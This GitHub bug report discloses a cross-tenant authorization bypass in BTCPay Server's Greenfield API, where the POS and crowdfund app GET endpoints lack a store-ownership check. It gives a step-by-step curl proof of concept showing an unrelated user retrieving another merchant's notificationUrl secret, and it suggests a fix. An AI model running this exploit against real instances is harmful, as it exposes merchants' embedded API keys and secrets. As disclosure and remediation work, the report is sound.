[Bug]: Cross-tenant IDOR on GET /api/v1/apps/pos/{appId} and /api/v1/apps/crowdfund/{appId}

Author: geo-chenCreated Aug 4, 2026Updated Aug 5, 2026

What is your BTCPay version?

v2.0.4

How did you deploy BTCPay Server?

docker

What happened?

reported via email on 13 June 2026:

I found an authorization bypass affecting the Greenfield API in BTCPay Server. Two endpoints -- GET /api/v1/apps/pos/{appId} and GET /api/v1/apps/crowdfund/{appId} -- are missing the store-scoped policy authorization that protects the sibling generic GET /api/v1/apps/{appId} route and all write endpoints.

Root cause: GreenfieldAppsController carries the class-level [Authorize(AuthenticationSchemes = AuthenticationSchemes.Greenfield)] which only checks that the caller is authenticated. The store-ownership check is triggered by a method-level [Authorize(Policy = Policies.CanModifyStoreSettings)] attribute, which causes BuiltInPermissionScopeProvider to resolve the appId to its owning store and verify membership. The two type-specific GET endpoints do not carry this method-level attribute, so the ownership check is skipped entirely.

Any authenticated user can call GET /api/v1/apps/pos/{appId} or GET /api/v1/apps/crowdfund/{appId} and receive the full app configuration of any other merchant, including the notificationUrl field, which frequently contains embedded API keys or secrets.

I confirmed this against a local instance: a user with no access to the target store successfully retrieved the store's POS app configuration including the notificationUrl in a live test.

How did you encounter this bug?

Relevant log output

bash
### PoC

Prerequisites: a BTCPay Server instance with two accounts -- `[email protected]` (store owner) and `[email protected]` (unrelated user). Both accounts have API keys.


BTCPAY_URL="http://localhost:14142"
ADMIN_KEY="fb1b6524b46c64f392bfe79ae606b7ca92075a3c"
USER1_KEY="226544c4eabe13228ffb27b52135141105d3703c"

# Step 1: Admin creates a store
STORE_ID=$(curl -s -X POST "$BTCPAY_URL/api/v1/stores" \
  -H "Content-Type: application/json" \
  -H "Authorization: token $ADMIN_KEY" \
  -d '{"name":"Admin Secret Store","defaultCurrency":"BTC"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
echo "Store ID: $STORE_ID"
# Output: Store ID: EV3BaJjdmKAKj5K2a7feA7JvT83LSia9urGTvFnN67bi

# Step 2: Admin creates a POS app with a private notification URL
APP_ID=$(curl -s -X POST "$BTCPAY_URL/api/v1/stores/$STORE_ID/apps/pos" \
  -H "Content-Type: application/json" \
  -H "Authorization: token $ADMIN_KEY" \
  -d '{"appName":"Admin Secret POS","currency":"BTC","notificationUrl":"http://internal-webhook.admin-company.com/secret-payment-notify?key=superSecretApiKey123"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
echo "App ID: $APP_ID"
# Output: App ID: 4PWhxCTKbF5MjGsEkHYMQZH3o4VX

# Step 3: Confirm user1 cannot access admin's store
curl -s "$BTCPAY_URL/api/v1/stores/$STORE_ID" \
  -H "Authorization: token $USER1_KEY"
# Output: {"missingPermission":"btcpay.store.canviewstoresettings","code":"missing-permission",...}

# Step 4: User1 reads admin's POS app configuration including the secret notificationUrl
curl -s "$BTCPAY_URL/api/v1/apps/pos/$APP_ID" \
  -H "Authorization: token $USER1_KEY"
# Output:
# {
#   "notificationUrl": "http://internal-webhook.admin-company.com/secret-payment-notify?key=superSecretApiKey123",
#   "storeId": "EV3BaJjdmKAKj5K2a7feA7JvT83LSia9urGTvFnN67bi",
#   "id": "4PWhxCTKbF5MjGsEkHYMQZH3o4VX",
#   "appName": "Admin Secret POS",
#   ...
# }


Observed output from live test:


{
    "notificationUrl": "http://internal-webhook.admin-company.com/secret-payment-notify?key=superSecretApiKey123",
    "storeId": "EV3BaJjdmKAKj5K2a7feA7JvT83LSia9urGTvFnN67bi",
    "id": "4PWhxCTKbF5MjGsEkHYMQZH3o4VX",
    "appType": "PointOfSale",
    "appName": "Admin Secret POS",
    "archived": false,
    "created": 1781360570
}

What browser do you use?

No response

Additional information

Suggested fix: add [Authorize(Policy = Policies.CanModifyStoreSettings, AuthenticationSchemes = AuthenticationSchemes.Greenfield)] to both GetPosApp and GetCrowdfundApp in BTCPayServer/Controllers/GreenField/GreenfieldAppsController.cs, consistent with the sibling read endpoint GetApp and all write operations.

Are you sure this is a bug report?

  • I confirm this is a bug report

Source: btcpayserver/btcpayserver